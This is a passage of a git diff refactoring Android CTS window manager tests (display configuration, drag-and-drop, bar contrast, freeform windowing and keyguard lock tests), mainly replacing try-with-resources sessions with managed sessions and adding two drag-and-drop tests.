- final List<ActivityDisplay> reportedDisplays = getDisplaysStates();
- final ActivityDisplay primaryDisplay = getDisplayState(reportedDisplays, DEFAULT_DISPLAY);
+ final List<DisplayContent> reportedDisplays = getDisplaysStates();
+ final DisplayContent primaryDisplay = getDisplayState(reportedDisplays, DEFAULT_DISPLAY);
assertEquals("Primary display's configuration should be equal to global configuration.",
primaryDisplay.mOverrideConfiguration, primaryDisplay.mFullConfiguration);
assertEquals("Primary display's configuration should be equal to global configuration.",
@@ -63,13 +63,11 @@
*/
@Test
public void testCreateVirtualDisplayWithCustomConfig() throws Exception {
- try (final VirtualDisplaySession virtualDisplaySession = new VirtualDisplaySession()) {
- final ActivityDisplay newDisplay = virtualDisplaySession.createDisplay();
+ final DisplayContent newDisplay = createManagedVirtualDisplaySession().createDisplay();
- // Find the density of created display.
- final int newDensityDpi = newDisplay.mFullConfiguration.densityDpi;
- assertEquals(CUSTOM_DENSITY_DPI, newDensityDpi);
- }
+ // Find the density of created display.
+ final int newDensityDpi = newDisplay.mFullConfiguration.densityDpi;
+ assertEquals(CUSTOM_DENSITY_DPI, newDensityDpi);
}
@Test
@@ -100,32 +98,30 @@
// Only check devices with the feature disabled.
assumeFalse(supportsMultiDisplay());
- try (final VirtualDisplaySession virtualDisplaySession = new VirtualDisplaySession()) {
- // Create new virtual display.
- final ActivityDisplay newDisplay = virtualDisplaySession.createDisplay();
+ // Create new virtual display.
+ final DisplayContent newDisplay = createManagedVirtualDisplaySession().createDisplay();
- // Launch activity on new secondary display.
- launchActivityOnDisplay(TEST_ACTIVITY, newDisplay.mId);
- mAmWmState.computeState(TEST_ACTIVITY);
+ // Launch activity on new secondary display.
+ launchActivityOnDisplay(TEST_ACTIVITY, newDisplay.mId);
+ mAmWmState.computeState(TEST_ACTIVITY);
- mAmWmState.assertFocusedActivity("Launched activity must be focused",
- TEST_ACTIVITY);
+ mAmWmState.assertFocusedActivity("Launched activity must be focused",
+ TEST_ACTIVITY);
- // Check that activity is on the right display.
- final int frontStackId = mAmWmState.getAmState().getFrontStackId(DEFAULT_DISPLAY);
- final ActivityManagerState.ActivityStack frontStack =
- mAmWmState.getAmState().getStackById(frontStackId);
- assertEquals("Launched activity must be resumed",
- getActivityName(TEST_ACTIVITY), frontStack.mResumedActivity);
- assertEquals("Front stack must be on the default display",
- DEFAULT_DISPLAY, frontStack.mDisplayId);
- mAmWmState.assertFocusedStack("Focus must be on the default display", frontStackId);
- }
+ // Check that activity is on the right display.
+ final int frontStackId = mAmWmState.getAmState().getFrontStackId(DEFAULT_DISPLAY);
+ final ActivityManagerState.ActivityStack frontStack =
+ mAmWmState.getAmState().getStackById(frontStackId);
+ assertEquals("Launched activity must be resumed",
+ getActivityName(TEST_ACTIVITY), frontStack.mResumedActivity);
+ assertEquals("Front stack must be on the default display",
+ DEFAULT_DISPLAY, frontStack.mDisplayId);
+ mAmWmState.assertFocusedStack("Focus must be on the default display", frontStackId);
}
@Test
public void testCreateMultipleVirtualDisplays() throws Exception {
- final List<ActivityDisplay> originalDs = getDisplaysStates();
+ final List<DisplayContent> originalDs = getDisplaysStates();
try (final VirtualDisplaySession virtualDisplaySession = new VirtualDisplaySession()) {
// Create new virtual displays
virtualDisplaySession.createDisplays(3);
@@ -140,40 +136,40 @@
* and unlocking the phone and verifies that overrides are kept.
*/
@Test
- public void testForceDisplayMetrics() throws Exception {
+ public void testForceDisplayMetrics() {
launchHomeActivity();
- try (final DisplayMetricsSession displayMetricsSession =
- new DisplayMetricsSession(DEFAULT_DISPLAY);
- final LockScreenSession lockScreenSession = new LockScreenSession()) {
- // Read initial sizes.
- final ReportedDisplayMetrics originalDisplayMetrics =
- displayMetricsSession.getInitialDisplayMetrics();
+ final DisplayMetricsSession displayMetricsSession =
+ mObjectTracker.manage(new DisplayMetricsSession(DEFAULT_DISPLAY));
+ final LockScreenSession lockScreenSession = createManagedLockScreenSession();
- // Apply new override values that don't match the physical metrics.
- final Size overrideSize = new Size(
- (int) (originalDisplayMetrics.physicalSize.getWidth() * 1.5),
- (int) (originalDisplayMetrics.physicalSize.getHeight() * 1.5));
- final Integer overrideDensity = (int) (originalDisplayMetrics.physicalDensity * 1.1);
- displayMetricsSession.overrideDisplayMetrics(overrideSize, overrideDensity);
+ // Read initial sizes.
+ final ReportedDisplayMetrics originalDisplayMetrics =
+ displayMetricsSession.getInitialDisplayMetrics();
- // Check if overrides applied correctly.
- ReportedDisplayMetrics displayMetrics = displayMetricsSession.getDisplayMetrics();
- assertEquals(overrideSize, displayMetrics.overrideSize);
- assertEquals(overrideDensity, displayMetrics.overrideDensity);
+ // Apply new override values that don't match the physical metrics.
+ final Size overrideSize = new Size(
+ (int) (originalDisplayMetrics.physicalSize.getWidth() * 1.5),
+ (int) (originalDisplayMetrics.physicalSize.getHeight() * 1.5));
+ final Integer overrideDensity = (int) (originalDisplayMetrics.physicalDensity * 1.1);
+ displayMetricsSession.overrideDisplayMetrics(overrideSize, overrideDensity);
- // Lock and unlock device. This will cause a DISPLAY_CHANGED event to be triggered and
- // might update the metrics.
- lockScreenSession.sleepDevice()
- .wakeUpDevice()
- .unlockDevice();
- mAmWmState.waitForHomeActivityVisible();
+ // Check if overrides applied correctly.
+ ReportedDisplayMetrics displayMetrics = displayMetricsSession.getDisplayMetrics();
+ assertEquals(overrideSize, displayMetrics.overrideSize);
+ assertEquals(overrideDensity, displayMetrics.overrideDensity);
- // Check if overrides are still applied.
- displayMetrics = displayMetricsSession.getDisplayMetrics();
- assertEquals(overrideSize, displayMetrics.overrideSize);
- assertEquals(overrideDensity, displayMetrics.overrideDensity);
- }
+ // Lock and unlock device. This will cause a DISPLAY_CHANGED event to be triggered and
+ // might update the metrics.
+ lockScreenSession.sleepDevice()
+ .wakeUpDevice()
+ .unlockDevice();
+ mAmWmState.waitForHomeActivityVisible();
+
+ // Check if overrides are still applied.
+ displayMetrics = displayMetricsSession.getDisplayMetrics();
+ assertEquals(overrideSize, displayMetrics.overrideSize);
+ assertEquals(overrideDensity, displayMetrics.overrideDensity);
}
private Configuration getDisplayResourcesConfiguration(int displayWidth, int displayHeight)
@@ -183,11 +179,11 @@
(DisplayManager) context.getSystemService(Context.DISPLAY_SERVICE);
try (final VirtualDisplaySession virtualDisplaySession = new VirtualDisplaySession()) {
- final ActivityDisplay activityDisplay = virtualDisplaySession
+ final DisplayContent displayContent = virtualDisplaySession
.setSimulateDisplay(true)
.setSimulationDisplaySize(displayWidth, displayHeight)
.createDisplay();
- final Display display = displayManager.getDisplay(activityDisplay.mId);
+ final Display display = displayManager.getDisplay(displayContent.mId);
Configuration config = context.createDisplayContext(display)
.getResources().getConfiguration();
return config;
@@ -199,7 +195,7 @@
private final ReportedDisplayMetrics mInitialDisplayMetrics;
private final int mDisplayId;
- DisplayMetricsSession(int displayId) throws Exception {
+ DisplayMetricsSession(int displayId) {
mDisplayId = displayId;
mInitialDisplayMetrics = ReportedDisplayMetrics.getDisplayMetrics(mDisplayId);
}
@@ -208,7 +204,7 @@
return mInitialDisplayMetrics;
}
- ReportedDisplayMetrics getDisplayMetrics() throws Exception {
+ ReportedDisplayMetrics getDisplayMetrics() {
return ReportedDisplayMetrics.getDisplayMetrics(mDisplayId);
}
@@ -217,7 +213,7 @@
}
@Override
- public void close() throws Exception {
+ public void close() {
mInitialDisplayMetrics.restoreDisplayMetrics();
}
}
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/DragDropActivity.java b/tests/framework/base/windowmanager/src/android/server/wm/DragDropActivity.java
deleted file mode 100644
index be741f3..0000000
--- a/tests/framework/base/windowmanager/src/android/server/wm/DragDropActivity.java
+++ /dev/null
@@ -1,31 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.server.wm;
-
-import android.app.Activity;
-import android.os.Bundle;
-
-import android.server.wm.cts.R;
-
-public class DragDropActivity extends Activity {
-
- @Override
- protected void onCreate(Bundle savedInstanceState) {
- super.onCreate(savedInstanceState);
- setContentView(R.layout.drag_drop_layout);
- }
-}
\ No newline at end of file
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/DragDropTest.java b/tests/framework/base/windowmanager/src/android/server/wm/DragDropTest.java
index 2983eb8..bd054b9 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/DragDropTest.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/DragDropTest.java
@@ -21,12 +21,14 @@
import static org.junit.Assert.assertFalse;
import static org.junit.Assert.assertTrue;
import static org.junit.Assert.fail;
+import static org.junit.Assume.assumeFalse;
import android.app.Instrumentation;
import android.app.UiAutomation;
import android.content.ClipData;
import android.content.ClipDescription;
import android.content.pm.PackageManager;
+import android.os.Bundle;
import android.os.Parcel;
import android.os.Parcelable;
import android.os.SystemClock;
@@ -38,12 +40,10 @@
import android.view.ViewGroup;
import androidx.test.InstrumentationRegistry;
-import androidx.test.rule.ActivityTestRule;
import androidx.test.runner.AndroidJUnit4;
import org.junit.After;
import org.junit.Before;
-import org.junit.Rule;
import org.junit.Test;
import org.junit.runner.RunWith;
@@ -54,16 +54,12 @@
import java.util.stream.IntStream;
@RunWith(AndroidJUnit4.class)
-public class DragDropTest {
+public class DragDropTest extends WindowManagerTestBase {
static final String TAG = "DragDropTest";
final Instrumentation mInstrumentation = InstrumentationRegistry.getInstrumentation();
final UiAutomation mAutomation = mInstrumentation.getUiAutomation();
- @Rule
- public ActivityTestRule<DragDropActivity> mActivityRule =
- new ActivityTestRule<>(DragDropActivity.class);
-
private DragDropActivity mActivity;
private CountDownLatch mStartReceived;
@@ -307,22 +303,19 @@
});
}
- private boolean init() {
- // Only run for non-watch devices
- if (mActivity.getPackageManager().hasSystemFeature(PackageManager.FEATURE_WATCH)) {
- return false;
- }
- return true;
+ /** Checks if device type is watch. */
+ private boolean isWatchDevice() {
+ return mInstrumentation.getTargetContext().getPackageManager()
+ .hasSystemFeature(PackageManager.FEATURE_WATCH);
}
@Before
- public void setUp() {
- mActivity = mActivityRule.getActivity();
+ public void setUp() throws InterruptedException {
+ assumeFalse(isWatchDevice());
+ mActivity = startActivity(DragDropActivity.class);
+
mStartReceived = new CountDownLatch(1);
mEndReceived = new CountDownLatch(1);
-
- // Wait for idle
- mInstrumentation.waitForIdleSync();
}
@After
@@ -387,10 +380,6 @@
*/
@Test
public void testNoExtraEvents() throws Exception {
- if (!init()) {
- return;
- }
-
runOnMain(() -> {
// Tell all views in layout to return false to all events, and log them.
setRejectingHandlersOnTree(mActivity.findViewById(R.id.drag_drop_activity_main));
@@ -435,10 +424,6 @@
*/
@Test
public void testBlackHole() throws Exception {
- if (!init()) {
- return;
- }
-
runOnMain(() -> {
// Accepting child.
mActivity.findViewById(R.id.inner).setOnDragListener((v, ev) -> {
@@ -483,10 +468,6 @@
*/
@Test
public void testEnterExit() throws Exception {
- if (!init()) {
- return;
- }
-
runOnMain(() -> {
// The setup is same as for testBlackHole.
@@ -546,10 +527,6 @@
*/
@Test
public void testOverNowhere() throws Exception {
- if (!init()) {
- return;
- }
-
runOnMain(() -> {
// Accepting child.
mActivity.findViewById(R.id.inner).setOnDragListener((v, ev) -> {
@@ -589,10 +566,6 @@
*/
@Test
public void testAcceptingGroupInTheMiddle() throws Exception {
- if (!init()) {
- return;
- }
-
runOnMain(() -> {
// Set accepting handlers to the inner view and its 2 ancestors.
mActivity.findViewById(R.id.inner).setOnDragListener((v, ev) -> {
@@ -645,10 +618,6 @@
*/
@Test
public void testDrawableState() throws Exception {
- if (!init()) {
- return;
- }
-
runOnMain(() -> {
// Set accepting handler for the inner view.
mActivity.findViewById(R.id.inner).setOnDragListener((v, ev) -> {
@@ -689,4 +658,46 @@
assertFalse(drawableStateContains(R.id.inner, android.R.attr.state_drag_hovered));
});
}
-}
\ No newline at end of file
+
+ /**
+ * Tests if window is removing, it should not perform drag.
+ */
+ @Test
+ public void testNoDragIfWindowCantReceiveInput() throws InterruptedException {
+ injectMouse5(R.id.draggable, MotionEvent.ACTION_DOWN);
+
+ runOnMain(() -> {
+ // finish activity and start drag drop.
+ View v = mActivity.findViewById(R.id.draggable);
+ mActivity.finish();
+ assertFalse("Shouldn't start drag",
+ v.startDragAndDrop(sClipData, new View.DragShadowBuilder(v), sLocalState, 0));
+ });
+
+ injectMouse5(R.id.draggable, MotionEvent.ACTION_UP);
+ }
+
+ /**
+ * Tests if there is no touch down, it should not perform drag.
+ */
+ @Test
+ public void testNoDragIfNoTouchDown() throws InterruptedException {
+ // perform a click.
+ injectMouse5(R.id.draggable, MotionEvent.ACTION_DOWN);
+ injectMouse5(R.id.draggable, MotionEvent.ACTION_UP);
+
+ runOnMain(() -> {
+ View v = mActivity.findViewById(R.id.draggable);
+ assertFalse("Shouldn't start drag",
+ v.startDragAndDrop(sClipData, new View.DragShadowBuilder(v), sLocalState, 0));
+ });
+ }
+
+ public static class DragDropActivity extends FocusableActivity {
+ @Override
+ protected void onCreate(Bundle savedInstanceState) {
+ super.onCreate(savedInstanceState);
+ setContentView(R.layout.drag_drop_layout);
+ }
+ }
+}
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/EnsureBarContrastTest.java b/tests/framework/base/windowmanager/src/android/server/wm/EnsureBarContrastTest.java
index 4eae8f1..70a5ec8 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/EnsureBarContrastTest.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/EnsureBarContrastTest.java
@@ -123,12 +123,13 @@
}
public void runTestDontEnsureContrast(boolean lightBars) {
- assumeFalse(
- "Skipping test: automotive may not have transparent background for the status bar",
- getInstrumentation().getContext().getPackageManager().hasSystemFeature(
- FEATURE_AUTOMOTIVE));
+ assumeHasColoredBars();
TestActivity activity = launchAndWait(mTestActivity, lightBars, false /* ensureContrast */);
for (Bar bar : Bar.BARS) {
+ if (isAssumptionViolated(() -> bar.checkAssumptions(mTestActivity))) {
+ continue;
+ }
+
Bitmap bitmap = getOnMainSync(() -> activity.screenshotBar(bar, mDumper));
assertThat(bar.name + "Bar: contrast NOT requested, therefore must NOT be scrimmed.",
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/FreeformWindowingModeTests.java b/tests/framework/base/windowmanager/src/android/server/wm/FreeformWindowingModeTests.java
index b4eb07f..7d380f2 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/FreeformWindowingModeTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/FreeformWindowingModeTests.java
@@ -38,6 +38,7 @@
* atest CtsWindowManagerDeviceTestCases:FreeformWindowingModeTests
*/
@Presubmit
+@android.server.wm.annotation.Group3
public class FreeformWindowingModeTests extends MultiDisplayTestBase {
private static final int TEST_TASK_OFFSET = 20;
@@ -51,35 +52,32 @@
// with bounds (0, 0, 900, 900)
@Test
- public void testFreeformWindowManagementSupport() throws Exception {
- try (VirtualDisplaySession virtualDisplaySession = new VirtualDisplaySession()) {
- int displayId = Display.DEFAULT_DISPLAY;
- if (supportsMultiDisplay()) {
- final ActivityManagerState.ActivityDisplay display = virtualDisplaySession
- .setSimulateDisplay(true)
- .setSimulationDisplaySize(1920 /* width */, 1080 /* height */)
- .createDisplay();
- displayId = display.mId;
- }
- launchActivityOnDisplay(FREEFORM_ACTIVITY, WINDOWING_MODE_FREEFORM, displayId);
-
- mAmWmState.computeState(FREEFORM_ACTIVITY, TEST_ACTIVITY);
-
- if (!supportsFreeform()) {
- mAmWmState.assertDoesNotContainStack("Must not contain freeform stack.",
- WINDOWING_MODE_FREEFORM, ACTIVITY_TYPE_STANDARD);
- return;
- }
-
- mAmWmState.assertFrontStackOnDisplay("Freeform stack must be the front stack.",
- WINDOWING_MODE_FREEFORM, ACTIVITY_TYPE_STANDARD, displayId);
- mAmWmState.assertVisibility(FREEFORM_ACTIVITY, true);
- mAmWmState.assertVisibility(TEST_ACTIVITY, true);
- mAmWmState.assertFocusedActivity(
- TEST_ACTIVITY + " must be focused Activity", TEST_ACTIVITY);
- assertEquals(new Rect(0, 0, TEST_TASK_SIZE_1, TEST_TASK_SIZE_1),
- mAmWmState.getAmState().getTaskByActivity(TEST_ACTIVITY).getBounds());
+ public void testFreeformWindowManagementSupport() {
+ int displayId = Display.DEFAULT_DISPLAY;
+ if (supportsMultiDisplay()) {
+ displayId = createManagedVirtualDisplaySession()
+ .setSimulateDisplay(true)
+ .setSimulationDisplaySize(1920 /* width */, 1080 /* height */)
+ .createDisplay().mId;
}
+ launchActivityOnDisplay(FREEFORM_ACTIVITY, WINDOWING_MODE_FREEFORM, displayId);
+
+ mAmWmState.computeState(FREEFORM_ACTIVITY, TEST_ACTIVITY);
+
+ if (!supportsFreeform()) {
+ mAmWmState.assertDoesNotContainStack("Must not contain freeform stack.",
+ WINDOWING_MODE_FREEFORM, ACTIVITY_TYPE_STANDARD);
+ return;
+ }
+
+ mAmWmState.assertFrontStackOnDisplay("Freeform stack must be the front stack.",
+ WINDOWING_MODE_FREEFORM, ACTIVITY_TYPE_STANDARD, displayId);
+ mAmWmState.assertVisibility(FREEFORM_ACTIVITY, true);
+ mAmWmState.assertVisibility(TEST_ACTIVITY, true);
+ mAmWmState.assertFocusedActivity(
+ TEST_ACTIVITY + " must be focused Activity", TEST_ACTIVITY);
+ assertEquals(new Rect(0, 0, TEST_TASK_SIZE_1, TEST_TASK_SIZE_1),
+ mAmWmState.getAmState().getTaskByActivity(TEST_ACTIVITY).getBounds());
}
@Test
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/KeyguardLockedTests.java b/tests/framework/base/windowmanager/src/android/server/wm/KeyguardLockedTests.java
index f0e0b9e..5ab75e7 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/KeyguardLockedTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/KeyguardLockedTests.java
@@ -18,6 +18,7 @@
import static android.app.WindowConfiguration.ACTIVITY_TYPE_STANDARD;
import static android.app.WindowConfiguration.WINDOWING_MODE_PINNED;
+import static android.server.wm.MockImeHelper.createManagedMockImeSession;
import static android.server.wm.UiDeviceUtils.pressBackButton;
import static android.server.wm.app.Components.DISMISS_KEYGUARD_ACTIVITY;
import static android.server.wm.app.Components.DISMISS_KEYGUARD_METHOD_ACTIVITY;
@@ -31,7 +32,6 @@
import static android.server.wm.app.Components.TURN_SCREEN_ON_ATTR_DISMISS_KEYGUARD_ACTIVITY;
import static android.view.Display.DEFAULT_DISPLAY;
import static android.view.WindowManager.LayoutParams.SOFT_INPUT_STATE_ALWAYS_VISIBLE;
-import static androidx.test.InstrumentationRegistry.getInstrumentation;
import static com.android.cts.mockime.ImeEventStreamTestUtils.expectEvent;
import static org.junit.Assert.assertFalse;
import static org.junit.Assert.assertTrue;
@@ -46,8 +46,8 @@
import android.widget.EditText;
import android.widget.LinearLayout;
import com.android.cts.mockime.ImeEventStream;
-import com.android.cts.mockime.ImeSettings;
import com.android.cts.mockime.MockImeSession;
+
import java.util.concurrent.TimeUnit;
import org.junit.Before;
import org.junit.Test;
@@ -57,6 +57,7 @@
* atest CtsWindowManagerDeviceTestCases:KeyguardLockedTests
*/
@Presubmit
+@android.server.wm.annotation.Group2
public class KeyguardLockedTests extends KeyguardTestBase {
@Before
@Override
@@ -66,22 +67,22 @@
}
@Test
- public void testLockAndUnlock() throws Exception {
- try (final LockScreenSession lockScreenSession = new LockScreenSession()) {
- lockScreenSession.setLockCredential()
- .gotoKeyguard();
- assertTrue(mKeyguardManager.isKeyguardLocked());
- assertTrue(mKeyguardManager.isDeviceLocked());
- assertTrue(mKeyguardManager.isDeviceSecure());
- assertTrue(mKeyguardManager.isKeyguardSecure());
- mAmWmState.assertKeyguardShowingAndNotOccluded();
- lockScreenSession.unlockDevice()
- .enterAndConfirmLockCredential();
- mAmWmState.waitForKeyguardGone();
- mAmWmState.assertKeyguardGone();
- assertFalse(mKeyguardManager.isDeviceLocked());
- assertFalse(mKeyguardManager.isKeyguardLocked());
- }
+ public void testLockAndUnlock() {
+ final LockScreenSession lockScreenSession = createManagedLockScreenSession();
+ lockScreenSession.setLockCredential().gotoKeyguard();
+
+ assertTrue(mKeyguardManager.isKeyguardLocked());
+ assertTrue(mKeyguardManager.isDeviceLocked());
+ assertTrue(mKeyguardManager.isDeviceSecure());
+ assertTrue(mKeyguardManager.isKeyguardSecure());
+ mAmWmState.assertKeyguardShowingAndNotOccluded();
+
+ lockScreenSession.unlockDevice().enterAndConfirmLockCredential();
+
+ mAmWmState.waitForKeyguardGone();
+ mAmWmState.assertKeyguardGone();
+ assertFalse(mKeyguardManager.isDeviceLocked());
+ assertFalse(mKeyguardManager.isKeyguardLocked());
}
@Test
@@ -102,255 +103,246 @@
}
@Test
- public void testDismissKeyguard() throws Exception {
- try (final LockScreenSession lockScreenSession = new LockScreenSession()) {
- lockScreenSession.setLockCredential()
- .gotoKeyguard();
- mAmWmState.assertKeyguardShowingAndNotOccluded();
- launchActivity(DISMISS_KEYGUARD_ACTIVITY);
- lockScreenSession.enterAndConfirmLockCredential();
- mAmWmState.waitForKeyguardGone();
- mAmWmState.assertKeyguardGone();
- mAmWmState.assertVisibility(DISMISS_KEYGUARD_ACTIVITY, true);
- }
+ public void testDismissKeyguard() {
+ final LockScreenSession lockScreenSession = createManagedLockScreenSession();
+ lockScreenSession.setLockCredential().gotoKeyguard();
+
+ mAmWmState.assertKeyguardShowingAndNotOccluded();
+ launchActivity(DISMISS_KEYGUARD_ACTIVITY);
+ lockScreenSession.enterAndConfirmLockCredential();
+
+ mAmWmState.waitForKeyguardGone();
+ mAmWmState.assertKeyguardGone();
+ mAmWmState.assertVisibility(DISMISS_KEYGUARD_ACTIVITY, true);
}
@Test
- public void testDismissKeyguard_whileOccluded() throws Exception {
- try (final LockScreenSession lockScreenSession = new LockScreenSession()) {
- lockScreenSession.setLockCredential()
- .gotoKeyguard();
- mAmWmState.assertKeyguardShowingAndNotOccluded();
- launchActivity(SHOW_WHEN_LOCKED_ACTIVITY);
- mAmWmState.computeState(SHOW_WHEN_LOCKED_ACTIVITY);
- mAmWmState.assertVisibility(SHOW_WHEN_LOCKED_ACTIVITY, true);
- launchActivity(DISMISS_KEYGUARD_ACTIVITY);
- lockScreenSession.enterAndConfirmLockCredential();
- mAmWmState.waitForKeyguardGone();
- mAmWmState.assertKeyguardGone();
- mAmWmState.computeState(DISMISS_KEYGUARD_ACTIVITY);
- boolean isDismissTranslucent =
- mAmWmState.getAmState().isActivityTranslucent(DISMISS_KEYGUARD_ACTIVITY);
- mAmWmState.assertVisibility(DISMISS_KEYGUARD_ACTIVITY, true);
- mAmWmState.assertVisibility(SHOW_WHEN_LOCKED_ACTIVITY, isDismissTranslucent);
- }
+ public void testDismissKeyguard_whileOccluded() {
+ final LockScreenSession lockScreenSession = createManagedLockScreenSession();
+ lockScreenSession.setLockCredential().gotoKeyguard();
+
+ mAmWmState.assertKeyguardShowingAndNotOccluded();
+ launchActivity(SHOW_WHEN_LOCKED_ACTIVITY);
+ mAmWmState.computeState(SHOW_WHEN_LOCKED_ACTIVITY);
+ mAmWmState.assertVisibility(SHOW_WHEN_LOCKED_ACTIVITY, true);
+
+ launchActivity(DISMISS_KEYGUARD_ACTIVITY);
+ lockScreenSession.enterAndConfirmLockCredential();
+ mAmWmState.waitForKeyguardGone();
+ mAmWmState.assertKeyguardGone();
+ mAmWmState.computeState(DISMISS_KEYGUARD_ACTIVITY);
+
+ final boolean isDismissTranslucent = mAmWmState.getAmState()
+ .isActivityTranslucent(DISMISS_KEYGUARD_ACTIVITY);
+ mAmWmState.assertVisibility(DISMISS_KEYGUARD_ACTIVITY, true);
+ mAmWmState.assertVisibility(SHOW_WHEN_LOCKED_ACTIVITY, isDismissTranslucent);
}
@Test
- public void testDismissKeyguard_fromShowWhenLocked_notAllowed() throws Exception {
- try (final LockScreenSession lockScreenSession = new LockScreenSession()) {
- lockScreenSession.setLockCredential()
- .gotoKeyguard();
- mAmWmState.assertKeyguardShowingAndNotOccluded();
- launchActivity(SHOW_WHEN_LOCKED_ACTIVITY);
- mAmWmState.computeState(SHOW_WHEN_LOCKED_ACTIVITY);
- mAmWmState.assertVisibility(SHOW_WHEN_LOCKED_ACTIVITY, true);
- mBroadcastActionTrigger.dismissKeyguardByFlag();
- lockScreenSession.enterAndConfirmLockCredential();
+ public void testDismissKeyguard_fromShowWhenLocked_notAllowed() {
+ final LockScreenSession lockScreenSession = createManagedLockScreenSession();
+ lockScreenSession.setLockCredential().gotoKeyguard();
- // Make sure we stay on Keyguard.
- mAmWmState.assertKeyguardShowingAndOccluded();
- mAmWmState.assertVisibility(SHOW_WHEN_LOCKED_ACTIVITY, true);
- }
+ mAmWmState.assertKeyguardShowingAndNotOccluded();
+ launchActivity(SHOW_WHEN_LOCKED_ACTIVITY);
+ mAmWmState.computeState(SHOW_WHEN_LOCKED_ACTIVITY);
+ mAmWmState.assertVisibility(SHOW_WHEN_LOCKED_ACTIVITY, true);
+ mBroadcastActionTrigger.dismissKeyguardByFlag();
+ lockScreenSession.enterAndConfirmLockCredential();
+
+ // Make sure we stay on Keyguard.
+ mAmWmState.assertKeyguardShowingAndOccluded();
+ mAmWmState.assertVisibility(SHOW_WHEN_LOCKED_ACTIVITY, true);
}
@Test
- public void testDismissKeyguardActivity_method() throws Exception {
- try (final LockScreenSession lockScreenSession = new LockScreenSession()) {
- lockScreenSession.setLockCredential();
- separateTestJournal();
- lockScreenSession.gotoKeyguard();
- mAmWmState.computeState(true);
- assertTrue(mAmWmState.getAmState().getKeyguardControllerState().keyguardShowing);
- launchActivity(DISMISS_KEYGUARD_METHOD_ACTIVITY);
- lockScreenSession.enterAndConfirmLockCredential();
- mAmWmState.waitForKeyguardGone();
- mAmWmState.computeState(DISMISS_KEYGUARD_METHOD_ACTIVITY);
- mAmWmState.assertVisibility(DISMISS_KEYGUARD_METHOD_ACTIVITY, true);
- assertFalse(mAmWmState.getAmState().getKeyguardControllerState().keyguardShowing);
- assertOnDismissSucceeded(DISMISS_KEYGUARD_METHOD_ACTIVITY);
- }
+ public void testDismissKeyguardActivity_method() {
+ final LockScreenSession lockScreenSession = createManagedLockScreenSession();
+ lockScreenSession.setLockCredential();
+ separateTestJournal();
+
+ lockScreenSession.gotoKeyguard();
+ mAmWmState.computeState(true);
+ assertTrue(mAmWmState.getAmState().getKeyguardControllerState().keyguardShowing);
+
+ launchActivity(DISMISS_KEYGUARD_METHOD_ACTIVITY);
+ lockScreenSession.enterAndConfirmLockCredential();
+ mAmWmState.waitForKeyguardGone();
+ mAmWmState.computeState(DISMISS_KEYGUARD_METHOD_ACTIVITY);
+ mAmWmState.assertVisibility(DISMISS_KEYGUARD_METHOD_ACTIVITY, true);
+ assertFalse(mAmWmState.getAmState().getKeyguardControllerState().keyguardShowing);
+ assertOnDismissSucceeded(DISMISS_KEYGUARD_METHOD_ACTIVITY);
}
@Test
- public void testDismissKeyguardActivity_method_cancelled() throws Exception {
- try (final LockScreenSession lockScreenSession = new LockScreenSession()) {
- lockScreenSession.setLockCredential();
- separateTestJournal();
- lockScreenSession.gotoKeyguard();
- mAmWmState.computeState(true);
- assertTrue(mAmWmState.getAmState().getKeyguardControllerState().keyguardShowing);
- launchActivity(DISMISS_KEYGUARD_METHOD_ACTIVITY);
- pressBackButton();
- assertOnDismissCancelled(DISMISS_KEYGUARD_METHOD_ACTIVITY);
- mAmWmState.computeState(true);
- mAmWmState.assertVisibility(DISMISS_KEYGUARD_METHOD_ACTIVITY, false);
- assertTrue(mAmWmState.getAmState().getKeyguardControllerState().keyguardShowing);
- }
+ public void testDismissKeyguardActivity_method_cancelled() {
+ final LockScreenSession lockScreenSession = createManagedLockScreenSession();
+ lockScreenSession.setLockCredential();
+ separateTestJournal();
+
+ lockScreenSession.gotoKeyguard();
+ mAmWmState.computeState(true);
+ assertTrue(mAmWmState.getAmState().getKeyguardControllerState().keyguardShowing);
+
+ launchActivity(DISMISS_KEYGUARD_METHOD_ACTIVITY);
+ pressBackButton();
+ assertOnDismissCancelled(DISMISS_KEYGUARD_METHOD_ACTIVITY);
+ mAmWmState.computeState(true);
+ mAmWmState.assertVisibility(DISMISS_KEYGUARD_METHOD_ACTIVITY, false);
+ assertTrue(mAmWmState.getAmState().getKeyguardControllerState().keyguardShowing);
}
@Test
- public void testDismissKeyguardAttrActivity_method_turnScreenOn_withSecureKeyguard()
- throws Exception {
- try (final LockScreenSession lockScreenSession = new LockScreenSession()) {
- lockScreenSession.setLockCredential().sleepDevice();
+ public void testDismissKeyguardAttrActivity_method_turnScreenOn_withSecureKeyguard() {
+ final LockScreenSession lockScreenSession = createManagedLockScreenSession();
+ lockScreenSession.setLockCredential().sleepDevice();
+ mAmWmState.computeState(true);
+ assertTrue(mAmWmState.getAmState().getKeyguardControllerState().keyguardShowing);
- mAmWmState.computeState(true);
- assertTrue(mAmWmState.getAmState().getKeyguardControllerState().keyguardShowing);
- launchActivity(TURN_SCREEN_ON_ATTR_DISMISS_KEYGUARD_ACTIVITY);
- mAmWmState.waitForKeyguardShowingAndNotOccluded();
- mAmWmState.assertVisibility(TURN_SCREEN_ON_ATTR_DISMISS_KEYGUARD_ACTIVITY, false);
- assertTrue(mAmWmState.getAmState().getKeyguardControllerState().keyguardShowing);
- assertTrue(isDisplayOn(DEFAULT_DISPLAY));
- }
+ launchActivity(TURN_SCREEN_ON_ATTR_DISMISS_KEYGUARD_ACTIVITY);
